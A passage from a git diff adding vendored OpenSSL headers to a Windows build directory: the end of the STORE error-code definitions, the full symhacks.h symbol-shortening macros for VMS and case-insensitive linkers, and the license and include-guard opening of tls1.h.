STORE_F_STORE_GET_ARBITRARY 159 +#define STORE_F_STORE_GET_CERTIFICATE 109 +#define STORE_F_STORE_GET_CRL 110 +#define STORE_F_STORE_GET_NUMBER 111 +#define STORE_F_STORE_GET_PRIVATE_KEY 112 +#define STORE_F_STORE_GET_PUBLIC_KEY 113 +#define STORE_F_STORE_LIST_CERTIFICATE_END 114 +#define STORE_F_STORE_LIST_CERTIFICATE_ENDP 153 +#define STORE_F_STORE_LIST_CERTIFICATE_NEXT 115 +#define STORE_F_STORE_LIST_CERTIFICATE_START 116 +#define STORE_F_STORE_LIST_CRL_END 117 +#define STORE_F_STORE_LIST_CRL_ENDP 154 +#define STORE_F_STORE_LIST_CRL_NEXT 118 +#define STORE_F_STORE_LIST_CRL_START 119 +#define STORE_F_STORE_LIST_PRIVATE_KEY_END 120 +#define STORE_F_STORE_LIST_PRIVATE_KEY_ENDP 155 +#define STORE_F_STORE_LIST_PRIVATE_KEY_NEXT 121 +#define STORE_F_STORE_LIST_PRIVATE_KEY_START 122 +#define STORE_F_STORE_LIST_PUBLIC_KEY_END 123 +#define STORE_F_STORE_LIST_PUBLIC_KEY_ENDP 156 +#define STORE_F_STORE_LIST_PUBLIC_KEY_NEXT 124 +#define STORE_F_STORE_LIST_PUBLIC_KEY_START 125 +#define STORE_F_STORE_MODIFY_ARBITRARY 162 +#define STORE_F_STORE_MODIFY_CERTIFICATE 163 +#define STORE_F_STORE_MODIFY_CRL 164 +#define STORE_F_STORE_MODIFY_NUMBER 165 +#define STORE_F_STORE_MODIFY_PRIVATE_KEY 166 +#define STORE_F_STORE_MODIFY_PUBLIC_KEY 167 +#define STORE_F_STORE_NEW_ENGINE 133 +#define STORE_F_STORE_NEW_METHOD 132 +#define STORE_F_STORE_PARSE_ATTRS_END 151 +#define STORE_F_STORE_PARSE_ATTRS_ENDP 172 +#define STORE_F_STORE_PARSE_ATTRS_NEXT 152 +#define STORE_F_STORE_PARSE_ATTRS_START 171 +#define STORE_F_STORE_REVOKE_CERTIFICATE 129 +#define STORE_F_STORE_REVOKE_PRIVATE_KEY 130 +#define STORE_F_STORE_REVOKE_PUBLIC_KEY 131 +#define STORE_F_STORE_STORE_ARBITRARY 157 +#define STORE_F_STORE_STORE_CERTIFICATE 100 +#define STORE_F_STORE_STORE_CRL 101 +#define STORE_F_STORE_STORE_NUMBER 126 +#define STORE_F_STORE_STORE_PRIVATE_KEY 127 +#define STORE_F_STORE_STORE_PUBLIC_KEY 128 + +/* Reason codes. */ +#define STORE_R_ALREADY_HAS_A_VALUE 127 +#define STORE_R_FAILED_DELETING_ARBITRARY 132 +#define STORE_R_FAILED_DELETING_CERTIFICATE 100 +#define STORE_R_FAILED_DELETING_KEY 101 +#define STORE_R_FAILED_DELETING_NUMBER 102 +#define STORE_R_FAILED_GENERATING_CRL 103 +#define STORE_R_FAILED_GENERATING_KEY 104 +#define STORE_R_FAILED_GETTING_ARBITRARY 133 +#define STORE_R_FAILED_GETTING_CERTIFICATE 105 +#define STORE_R_FAILED_GETTING_KEY 106 +#define STORE_R_FAILED_GETTING_NUMBER 107 +#define STORE_R_FAILED_LISTING_CERTIFICATES 108 +#define STORE_R_FAILED_LISTING_KEYS 109 +#define STORE_R_FAILED_MODIFYING_ARBITRARY 138 +#define STORE_R_FAILED_MODIFYING_CERTIFICATE 139 +#define STORE_R_FAILED_MODIFYING_CRL 140 +#define STORE_R_FAILED_MODIFYING_NUMBER 141 +#define STORE_R_FAILED_MODIFYING_PRIVATE_KEY 142 +#define STORE_R_FAILED_MODIFYING_PUBLIC_KEY 143 +#define STORE_R_FAILED_REVOKING_CERTIFICATE 110 +#define STORE_R_FAILED_REVOKING_KEY 111 +#define STORE_R_FAILED_STORING_ARBITRARY 134 +#define STORE_R_FAILED_STORING_CERTIFICATE 112 +#define STORE_R_FAILED_STORING_KEY 113 +#define STORE_R_FAILED_STORING_NUMBER 114 +#define STORE_R_NOT_IMPLEMENTED 128 +#define STORE_R_NO_CONTROL_FUNCTION 144 +#define STORE_R_NO_DELETE_ARBITRARY_FUNCTION 135 +#define STORE_R_NO_DELETE_NUMBER_FUNCTION 115 +#define STORE_R_NO_DELETE_OBJECT_FUNCTION 116 +#define STORE_R_NO_GENERATE_CRL_FUNCTION 117 +#define STORE_R_NO_GENERATE_OBJECT_FUNCTION 118 +#define STORE_R_NO_GET_OBJECT_ARBITRARY_FUNCTION 136 +#define STORE_R_NO_GET_OBJECT_FUNCTION 119 +#define STORE_R_NO_GET_OBJECT_NUMBER_FUNCTION 120 +#define STORE_R_NO_LIST_OBJECT_ENDP_FUNCTION 131 +#define STORE_R_NO_LIST_OBJECT_END_FUNCTION 121 +#define STORE_R_NO_LIST_OBJECT_NEXT_FUNCTION 122 +#define STORE_R_NO_LIST_OBJECT_START_FUNCTION 123 +#define STORE_R_NO_MODIFY_OBJECT_FUNCTION 145 +#define STORE_R_NO_REVOKE_OBJECT_FUNCTION 124 +#define STORE_R_NO_STORE 129 +#define STORE_R_NO_STORE_OBJECT_ARBITRARY_FUNCTION 137 +#define STORE_R_NO_STORE_OBJECT_FUNCTION 125 +#define STORE_R_NO_STORE_OBJECT_NUMBER_FUNCTION 126 +#define STORE_R_NO_VALUE 130 + +#ifdef __cplusplus +} +#endif +#endif diff --git a/winstuff/openssl/symhacks.h b/winstuff/openssl/symhacks.h new file mode 100644 index 0000000..8728e61 --- /dev/null +++ b/winstuff/openssl/symhacks.h @@ -0,0 +1,409 @@ +/* ==================================================================== + * Copyright (c) 1999 The OpenSSL Project. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * + * 3. All advertising materials mentioning features or use of this + * software must display the following acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit. (http://www.openssl.org/)" + * + * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to + * endorse or promote products derived from this software without + * prior written permission. For written permission, please contact + * openssl-core@openssl.org. + * + * 5. Products derived from this software may not be called "OpenSSL" + * nor may "OpenSSL" appear in their names without prior written + * permission of the OpenSSL Project. + * + * 6. Redistributions of any form whatsoever must retain the following + * acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit (http://www.openssl.org/)" + * + * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY + * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR + * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED + * OF THE POSSIBILITY OF SUCH DAMAGE. + * ==================================================================== + * + * This product includes cryptographic software written by Eric Young + * (eay@cryptsoft.com). This product includes software written by Tim + * Hudson (tjh@cryptsoft.com). + * + */ + +#ifndef HEADER_SYMHACKS_H +#define HEADER_SYMHACKS_H + +#include + +/* Hacks to solve the problem with linkers incapable of handling very long + symbol names. In the case of VMS, the limit is 31 characters on VMS for + VAX. */ +#ifdef OPENSSL_SYS_VMS + +/* Hack a long name in crypto/cryptlib.c */ +#undef int_CRYPTO_set_do_dynlock_callback +#define int_CRYPTO_set_do_dynlock_callback int_CRYPTO_set_do_dynlock_cb + +/* Hack a long name in crypto/ex_data.c */ +#undef CRYPTO_get_ex_data_implementation +#define CRYPTO_get_ex_data_implementation CRYPTO_get_ex_data_impl +#undef CRYPTO_set_ex_data_implementation +#define CRYPTO_set_ex_data_implementation CRYPTO_set_ex_data_impl + +/* Hack a long name in crypto/asn1/a_mbstr.c */ +#undef ASN1_STRING_set_default_mask_asc +#define ASN1_STRING_set_default_mask_asc ASN1_STRING_set_def_mask_asc + +#if 0 /* No longer needed, since safestack macro magic does the job */ +/* Hack the names created with DECLARE_ASN1_SET_OF(PKCS7_SIGNER_INFO) */ +#undef i2d_ASN1_SET_OF_PKCS7_SIGNER_INFO +#define i2d_ASN1_SET_OF_PKCS7_SIGNER_INFO i2d_ASN1_SET_OF_PKCS7_SIGINF +#undef d2i_ASN1_SET_OF_PKCS7_SIGNER_INFO +#define d2i_ASN1_SET_OF_PKCS7_SIGNER_INFO d2i_ASN1_SET_OF_PKCS7_SIGINF +#endif + +#if 0 /* No longer needed, since safestack macro magic does the job */ +/* Hack the names created with DECLARE_ASN1_SET_OF(PKCS7_RECIP_INFO) */ +#undef i2d_ASN1_SET_OF_PKCS7_RECIP_INFO +#define i2d_ASN1_SET_OF_PKCS7_RECIP_INFO i2d_ASN1_SET_OF_PKCS7_RECINF +#undef d2i_ASN1_SET_OF_PKCS7_RECIP_INFO +#define d2i_ASN1_SET_OF_PKCS7_RECIP_INFO d2i_ASN1_SET_OF_PKCS7_RECINF +#endif + +#if 0 /* No longer needed, since safestack macro magic does the job */ +/* Hack the names created with DECLARE_ASN1_SET_OF(ACCESS_DESCRIPTION) */ +#undef i2d_ASN1_SET_OF_ACCESS_DESCRIPTION +#define i2d_ASN1_SET_OF_ACCESS_DESCRIPTION i2d_ASN1_SET_OF_ACC_DESC +#undef d2i_ASN1_SET_OF_ACCESS_DESCRIPTION +#define d2i_ASN1_SET_OF_ACCESS_DESCRIPTION d2i_ASN1_SET_OF_ACC_DESC +#endif + +/* Hack the names created with DECLARE_PEM_rw(NETSCAPE_CERT_SEQUENCE) */ +#undef PEM_read_NETSCAPE_CERT_SEQUENCE +#define PEM_read_NETSCAPE_CERT_SEQUENCE PEM_read_NS_CERT_SEQ +#undef PEM_write_NETSCAPE_CERT_SEQUENCE +#define PEM_write_NETSCAPE_CERT_SEQUENCE PEM_write_NS_CERT_SEQ +#undef PEM_read_bio_NETSCAPE_CERT_SEQUENCE +#define PEM_read_bio_NETSCAPE_CERT_SEQUENCE PEM_read_bio_NS_CERT_SEQ +#undef PEM_write_bio_NETSCAPE_CERT_SEQUENCE +#define PEM_write_bio_NETSCAPE_CERT_SEQUENCE PEM_write_bio_NS_CERT_SEQ +#undef PEM_write_cb_bio_NETSCAPE_CERT_SEQUENCE +#define PEM_write_cb_bio_NETSCAPE_CERT_SEQUENCE PEM_write_cb_bio_NS_CERT_SEQ + +/* Hack the names created with DECLARE_PEM_rw(PKCS8_PRIV_KEY_INFO) */ +#undef PEM_read_PKCS8_PRIV_KEY_INFO +#define PEM_read_PKCS8_PRIV_KEY_INFO PEM_read_P8_PRIV_KEY_INFO +#undef PEM_write_PKCS8_PRIV_KEY_INFO +#define PEM_write_PKCS8_PRIV_KEY_INFO PEM_write_P8_PRIV_KEY_INFO +#undef PEM_read_bio_PKCS8_PRIV_KEY_INFO +#define PEM_read_bio_PKCS8_PRIV_KEY_INFO PEM_read_bio_P8_PRIV_KEY_INFO +#undef PEM_write_bio_PKCS8_PRIV_KEY_INFO +#define PEM_write_bio_PKCS8_PRIV_KEY_INFO PEM_write_bio_P8_PRIV_KEY_INFO +#undef PEM_write_cb_bio_PKCS8_PRIV_KEY_INFO +#define PEM_write_cb_bio_PKCS8_PRIV_KEY_INFO PEM_wrt_cb_bio_P8_PRIV_KEY_INFO + +/* Hack other PEM names */ +#undef PEM_write_bio_PKCS8PrivateKey_nid +#define PEM_write_bio_PKCS8PrivateKey_nid PEM_write_bio_PKCS8PrivKey_nid + +/* Hack some long X509 names */ +#undef X509_REVOKED_get_ext_by_critical +#define X509_REVOKED_get_ext_by_critical X509_REVOKED_get_ext_by_critic +#undef X509_policy_tree_get0_user_policies +#define X509_policy_tree_get0_user_policies X509_pcy_tree_get0_usr_policies +#undef X509_policy_node_get0_qualifiers +#define X509_policy_node_get0_qualifiers X509_pcy_node_get0_qualifiers +#undef X509_STORE_CTX_get_explicit_policy +#define X509_STORE_CTX_get_explicit_policy X509_STORE_CTX_get_expl_policy + +/* Hack some long CRYPTO names */ +#undef CRYPTO_set_dynlock_destroy_callback +#define CRYPTO_set_dynlock_destroy_callback CRYPTO_set_dynlock_destroy_cb +#undef CRYPTO_set_dynlock_create_callback +#define CRYPTO_set_dynlock_create_callback CRYPTO_set_dynlock_create_cb +#undef CRYPTO_set_dynlock_lock_callback +#define CRYPTO_set_dynlock_lock_callback CRYPTO_set_dynlock_lock_cb +#undef CRYPTO_get_dynlock_lock_callback +#define CRYPTO_get_dynlock_lock_callback CRYPTO_get_dynlock_lock_cb +#undef CRYPTO_get_dynlock_destroy_callback +#define CRYPTO_get_dynlock_destroy_callback CRYPTO_get_dynlock_destroy_cb +#undef CRYPTO_get_dynlock_create_callback +#define CRYPTO_get_dynlock_create_callback CRYPTO_get_dynlock_create_cb +#undef CRYPTO_set_locked_mem_ex_functions +#define CRYPTO_set_locked_mem_ex_functions CRYPTO_set_locked_mem_ex_funcs +#undef CRYPTO_get_locked_mem_ex_functions +#define CRYPTO_get_locked_mem_ex_functions CRYPTO_get_locked_mem_ex_funcs + +/* Hack some long SSL names */ +#undef SSL_CTX_set_default_verify_paths +#define SSL_CTX_set_default_verify_paths SSL_CTX_set_def_verify_paths +#undef SSL_get_ex_data_X509_STORE_CTX_idx +#define SSL_get_ex_data_X509_STORE_CTX_idx SSL_get_ex_d_X509_STORE_CTX_idx +#undef SSL_add_file_cert_subjects_to_stack +#define SSL_add_file_cert_subjects_to_stack SSL_add_file_cert_subjs_to_stk +#undef SSL_add_dir_cert_subjects_to_stack +#define SSL_add_dir_cert_subjects_to_stack SSL_add_dir_cert_subjs_to_stk +#undef SSL_CTX_use_certificate_chain_file +#define SSL_CTX_use_certificate_chain_file SSL_CTX_use_cert_chain_file +#undef SSL_CTX_set_cert_verify_callback +#define SSL_CTX_set_cert_verify_callback SSL_CTX_set_cert_verify_cb +#undef SSL_CTX_set_default_passwd_cb_userdata +#define SSL_CTX_set_default_passwd_cb_userdata SSL_CTX_set_def_passwd_cb_ud +#undef SSL_COMP_get_compression_methods +#define SSL_COMP_get_compression_methods SSL_COMP_get_compress_methods + +/* Hack some long ENGINE names */ +#undef ENGINE_get_default_BN_mod_exp_crt +#define ENGINE_get_default_BN_mod_exp_crt ENGINE_get_def_BN_mod_exp_crt +#undef ENGINE_set_default_BN_mod_exp_crt +#define ENGINE_set_default_BN_mod_exp_crt ENGINE_set_def_BN_mod_exp_crt +#undef ENGINE_set_load_privkey_function +#define ENGINE_set_load_privkey_function ENGINE_set_load_privkey_fn +#undef ENGINE_get_load_privkey_function +#define ENGINE_get_load_privkey_function ENGINE_get_load_privkey_fn +#undef ENGINE_set_load_ssl_client_cert_function +#define ENGINE_set_load_ssl_client_cert_function \ + ENGINE_set_ld_ssl_clnt_cert_fn +#undef ENGINE_get_ssl_client_cert_function +#define ENGINE_get_ssl_client_cert_function ENGINE_get_ssl_client_cert_fn + +/* Hack some long OCSP names */ +#undef OCSP_REQUEST_get_ext_by_critical +#define OCSP_REQUEST_get_ext_by_critical OCSP_REQUEST_get_ext_by_crit +#undef OCSP_BASICRESP_get_ext_by_critical +#define OCSP_BASICRESP_get_ext_by_critical OCSP_BASICRESP_get_ext_by_crit +#undef OCSP_SINGLERESP_get_ext_by_critical +#define OCSP_SINGLERESP_get_ext_by_critical OCSP_SINGLERESP_get_ext_by_crit + +/* Hack some long DES names */ +#undef _ossl_old_des_ede3_cfb64_encrypt +#define _ossl_old_des_ede3_cfb64_encrypt _ossl_odes_ede3_cfb64_encrypt +#undef _ossl_old_des_ede3_ofb64_encrypt +#define _ossl_old_des_ede3_ofb64_encrypt _ossl_odes_ede3_ofb64_encrypt + +/* Hack some long EVP names */ +#undef OPENSSL_add_all_algorithms_noconf +#define OPENSSL_add_all_algorithms_noconf OPENSSL_add_all_algo_noconf +#undef OPENSSL_add_all_algorithms_conf +#define OPENSSL_add_all_algorithms_conf OPENSSL_add_all_algo_conf + +/* Hack some long EC names */ +#undef EC_GROUP_set_point_conversion_form +#define EC_GROUP_set_point_conversion_form EC_GROUP_set_point_conv_form +#undef EC_GROUP_get_point_conversion_form +#define EC_GROUP_get_point_conversion_form EC_GROUP_get_point_conv_form +#undef EC_GROUP_clear_free_all_extra_data +#define EC_GROUP_clear_free_all_extra_data EC_GROUP_clr_free_all_xtra_data +#undef EC_POINT_set_Jprojective_coordinates_GFp +#define EC_POINT_set_Jprojective_coordinates_GFp \ + EC_POINT_set_Jproj_coords_GFp +#undef EC_POINT_get_Jprojective_coordinates_GFp +#define EC_POINT_get_Jprojective_coordinates_GFp \ + EC_POINT_get_Jproj_coords_GFp +#undef EC_POINT_set_affine_coordinates_GFp +#define EC_POINT_set_affine_coordinates_GFp EC_POINT_set_affine_coords_GFp +#undef EC_POINT_get_affine_coordinates_GFp +#define EC_POINT_get_affine_coordinates_GFp EC_POINT_get_affine_coords_GFp +#undef EC_POINT_set_compressed_coordinates_GFp +#define EC_POINT_set_compressed_coordinates_GFp EC_POINT_set_compr_coords_GFp +#undef EC_POINT_set_affine_coordinates_GF2m +#define EC_POINT_set_affine_coordinates_GF2m EC_POINT_set_affine_coords_GF2m +#undef EC_POINT_get_affine_coordinates_GF2m +#define EC_POINT_get_affine_coordinates_GF2m EC_POINT_get_affine_coords_GF2m +#undef EC_POINT_set_compressed_coordinates_GF2m +#define EC_POINT_set_compressed_coordinates_GF2m \ + EC_POINT_set_compr_coords_GF2m +#undef ec_GF2m_simple_group_clear_finish +#define ec_GF2m_simple_group_clear_finish ec_GF2m_simple_grp_clr_finish +#undef ec_GF2m_simple_group_check_discriminant +#define ec_GF2m_simple_group_check_discriminant ec_GF2m_simple_grp_chk_discrim +#undef ec_GF2m_simple_point_clear_finish +#define ec_GF2m_simple_point_clear_finish ec_GF2m_simple_pt_clr_finish +#undef ec_GF2m_simple_point_set_to_infinity +#define ec_GF2m_simple_point_set_to_infinity ec_GF2m_simple_pt_set_to_inf +#undef ec_GF2m_simple_points_make_affine +#define ec_GF2m_simple_points_make_affine ec_GF2m_simple_pts_make_affine +#undef ec_GF2m_simple_point_set_affine_coordinates +#define ec_GF2m_simple_point_set_affine_coordinates \ + ec_GF2m_smp_pt_set_af_coords +#undef ec_GF2m_simple_point_get_affine_coordinates +#define ec_GF2m_simple_point_get_affine_coordinates \ + ec_GF2m_smp_pt_get_af_coords +#undef ec_GF2m_simple_set_compressed_coordinates +#define ec_GF2m_simple_set_compressed_coordinates \ + ec_GF2m_smp_set_compr_coords +#undef ec_GFp_simple_group_set_curve_GFp +#define ec_GFp_simple_group_set_curve_GFp ec_GFp_simple_grp_set_curve_GFp +#undef ec_GFp_simple_group_get_curve_GFp +#define ec_GFp_simple_group_get_curve_GFp ec_GFp_simple_grp_get_curve_GFp +#undef ec_GFp_simple_group_clear_finish +#define ec_GFp_simple_group_clear_finish ec_GFp_simple_grp_clear_finish +#undef ec_GFp_simple_group_set_generator +#define ec_GFp_simple_group_set_generator ec_GFp_simple_grp_set_generator +#undef ec_GFp_simple_group_get0_generator +#define ec_GFp_simple_group_get0_generator ec_GFp_simple_grp_gt0_generator +#undef ec_GFp_simple_group_get_cofactor +#define ec_GFp_simple_group_get_cofactor ec_GFp_simple_grp_get_cofactor +#undef ec_GFp_simple_point_clear_finish +#define ec_GFp_simple_point_clear_finish ec_GFp_simple_pt_clear_finish +#undef ec_GFp_simple_point_set_to_infinity +#define ec_GFp_simple_point_set_to_infinity ec_GFp_simple_pt_set_to_inf +#undef ec_GFp_simple_points_make_affine +#define ec_GFp_simple_points_make_affine ec_GFp_simple_pts_make_affine +#undef ec_GFp_simple_group_get_curve_GFp +#define ec_GFp_simple_group_get_curve_GFp ec_GFp_simple_grp_get_curve_GFp +#undef ec_GFp_simple_set_Jprojective_coordinates_GFp +#define ec_GFp_simple_set_Jprojective_coordinates_GFp \ + ec_GFp_smp_set_Jproj_coords_GFp +#undef ec_GFp_simple_get_Jprojective_coordinates_GFp +#define ec_GFp_simple_get_Jprojective_coordinates_GFp \ + ec_GFp_smp_get_Jproj_coords_GFp +#undef ec_GFp_simple_point_set_affine_coordinates_GFp +#define ec_GFp_simple_point_set_affine_coordinates_GFp \ + ec_GFp_smp_pt_set_af_coords_GFp +#undef ec_GFp_simple_point_get_affine_coordinates_GFp +#define ec_GFp_simple_point_get_affine_coordinates_GFp \ + ec_GFp_smp_pt_get_af_coords_GFp +#undef ec_GFp_simple_set_compressed_coordinates_GFp +#define ec_GFp_simple_set_compressed_coordinates_GFp \ + ec_GFp_smp_set_compr_coords_GFp +#undef ec_GFp_simple_point_set_affine_coordinates +#define ec_GFp_simple_point_set_affine_coordinates \ + ec_GFp_smp_pt_set_af_coords +#undef ec_GFp_simple_point_get_affine_coordinates +#define ec_GFp_simple_point_get_affine_coordinates \ + ec_GFp_smp_pt_get_af_coords +#undef ec_GFp_simple_set_compressed_coordinates +#define ec_GFp_simple_set_compressed_coordinates \ + ec_GFp_smp_set_compr_coords +#undef ec_GFp_simple_group_check_discriminant +#define ec_GFp_simple_group_check_discriminant ec_GFp_simple_grp_chk_discrim + +/* Hack som long STORE names */ +#undef STORE_method_set_initialise_function +#define STORE_method_set_initialise_function STORE_meth_set_initialise_fn +#undef STORE_method_set_cleanup_function +#define STORE_method_set_cleanup_function STORE_meth_set_cleanup_fn +#undef STORE_method_set_generate_function +#define STORE_method_set_generate_function STORE_meth_set_generate_fn +#undef STORE_method_set_modify_function +#define STORE_method_set_modify_function STORE_meth_set_modify_fn +#undef STORE_method_set_revoke_function +#define STORE_method_set_revoke_function STORE_meth_set_revoke_fn +#undef STORE_method_set_delete_function +#define STORE_method_set_delete_function STORE_meth_set_delete_fn +#undef STORE_method_set_list_start_function +#define STORE_method_set_list_start_function STORE_meth_set_list_start_fn +#undef STORE_method_set_list_next_function +#define STORE_method_set_list_next_function STORE_meth_set_list_next_fn +#undef STORE_method_set_list_end_function +#define STORE_method_set_list_end_function STORE_meth_set_list_end_fn +#undef STORE_method_set_update_store_function +#define STORE_method_set_update_store_function STORE_meth_set_update_store_fn +#undef STORE_method_set_lock_store_function +#define STORE_method_set_lock_store_function STORE_meth_set_lock_store_fn +#undef STORE_method_set_unlock_store_function +#define STORE_method_set_unlock_store_function STORE_meth_set_unlock_store_fn +#undef STORE_method_get_initialise_function +#define STORE_method_get_initialise_function STORE_meth_get_initialise_fn +#undef STORE_method_get_cleanup_function +#define STORE_method_get_cleanup_function STORE_meth_get_cleanup_fn +#undef STORE_method_get_generate_function +#define STORE_method_get_generate_function STORE_meth_get_generate_fn +#undef STORE_method_get_modify_function +#define STORE_method_get_modify_function STORE_meth_get_modify_fn +#undef STORE_method_get_revoke_function +#define STORE_method_get_revoke_function STORE_meth_get_revoke_fn +#undef STORE_method_get_delete_function +#define STORE_method_get_delete_function STORE_meth_get_delete_fn +#undef STORE_method_get_list_start_function +#define STORE_method_get_list_start_function STORE_meth_get_list_start_fn +#undef STORE_method_get_list_next_function +#define STORE_method_get_list_next_function STORE_meth_get_list_next_fn +#undef STORE_method_get_list_end_function +#define STORE_method_get_list_end_function STORE_meth_get_list_end_fn +#undef STORE_method_get_update_store_function +#define STORE_method_get_update_store_function STORE_meth_get_update_store_fn +#undef STORE_method_get_lock_store_function +#define STORE_method_get_lock_store_function STORE_meth_get_lock_store_fn +#undef STORE_method_get_unlock_store_function +#define STORE_method_get_unlock_store_function STORE_meth_get_unlock_store_fn + +/* Hack some long CMS names */ +#undef CMS_RecipientInfo_ktri_get0_algs +#define CMS_RecipientInfo_ktri_get0_algs CMS_RecipInfo_ktri_get0_algs +#undef CMS_RecipientInfo_ktri_get0_signer_id +#define CMS_RecipientInfo_ktri_get0_signer_id CMS_RecipInfo_ktri_get0_sigr_id +#undef CMS_OtherRevocationInfoFormat_it +#define CMS_OtherRevocationInfoFormat_it CMS_OtherRevocInfoFormat_it +#undef CMS_KeyAgreeRecipientIdentifier_it +#define CMS_KeyAgreeRecipientIdentifier_it CMS_KeyAgreeRecipIdentifier_it +#undef CMS_OriginatorIdentifierOrKey_it +#define CMS_OriginatorIdentifierOrKey_it CMS_OriginatorIdOrKey_it +#undef cms_SignerIdentifier_get0_signer_id +#define cms_SignerIdentifier_get0_signer_id cms_SignerId_get0_signer_id + +#endif /* defined OPENSSL_SYS_VMS */ + + +/* Case insensiteve linking causes problems.... */ +#if defined(OPENSSL_SYS_WIN16) || defined(OPENSSL_SYS_VMS) || defined(OPENSSL_SYS_OS2) +#undef ERR_load_CRYPTO_strings +#define ERR_load_CRYPTO_strings ERR_load_CRYPTOlib_strings +#undef OCSP_crlID_new +#define OCSP_crlID_new OCSP_crlID2_new + +#undef d2i_ECPARAMETERS +#define d2i_ECPARAMETERS d2i_UC_ECPARAMETERS +#undef i2d_ECPARAMETERS +#define i2d_ECPARAMETERS i2d_UC_ECPARAMETERS +#undef d2i_ECPKPARAMETERS +#define d2i_ECPKPARAMETERS d2i_UC_ECPKPARAMETERS +#undef i2d_ECPKPARAMETERS +#define i2d_ECPKPARAMETERS i2d_UC_ECPKPARAMETERS + +/* These functions do not seem to exist! However, I'm paranoid... + Original command in x509v3.h: + These functions are being redefined in another directory, + and clash when the linker is case-insensitive, so let's + hide them a little, by giving them an extra 'o' at the + beginning of the name... */ +#undef X509v3_cleanup_extensions +#define X509v3_cleanup_extensions oX509v3_cleanup_extensions +#undef X509v3_add_extension +#define X509v3_add_extension oX509v3_add_extension +#undef X509v3_add_netscape_extensions +#define X509v3_add_netscape_extensions oX509v3_add_netscape_extensions +#undef X509v3_add_standard_extensions +#define X509v3_add_standard_extensions oX509v3_add_standard_extensions + + +#endif + + +#endif /* ! defined HEADER_VMS_IDHACKS_H */ +/* This one clashes with CMS_data_create */ +#undef cms_Data_create +#define cms_Data_create priv_cms_Data_create diff --git a/winstuff/openssl/tls1.h b/winstuff/openssl/tls1.h new file mode 100644 index 0000000..2d1d293 --- /dev/null +++ b/winstuff/openssl/tls1.h @@ -0,0 +1,407 @@ +/* ssl/tls1.h */ +/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ +/* ==================================================================== + * Copyright 2002 Sun Microsystems, Inc. ALL RIGHTS RESERVED. + * + * Portions of the attached software ("Contribution") are developed by + * SUN MICROSYSTEMS, INC., and are contributed to the OpenSSL project. + * + * The Contribution is licensed pursuant to the OpenSSL open source + * license provided above. + * + * ECC cipher suite support in OpenSSL originally written by + * Vipul Gupta and Sumit Gupta of Sun Microsystems Laboratories. + * + */ + +#ifndef HEADER_TLS1_H +#define HEADER_TLS1_H + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +#define 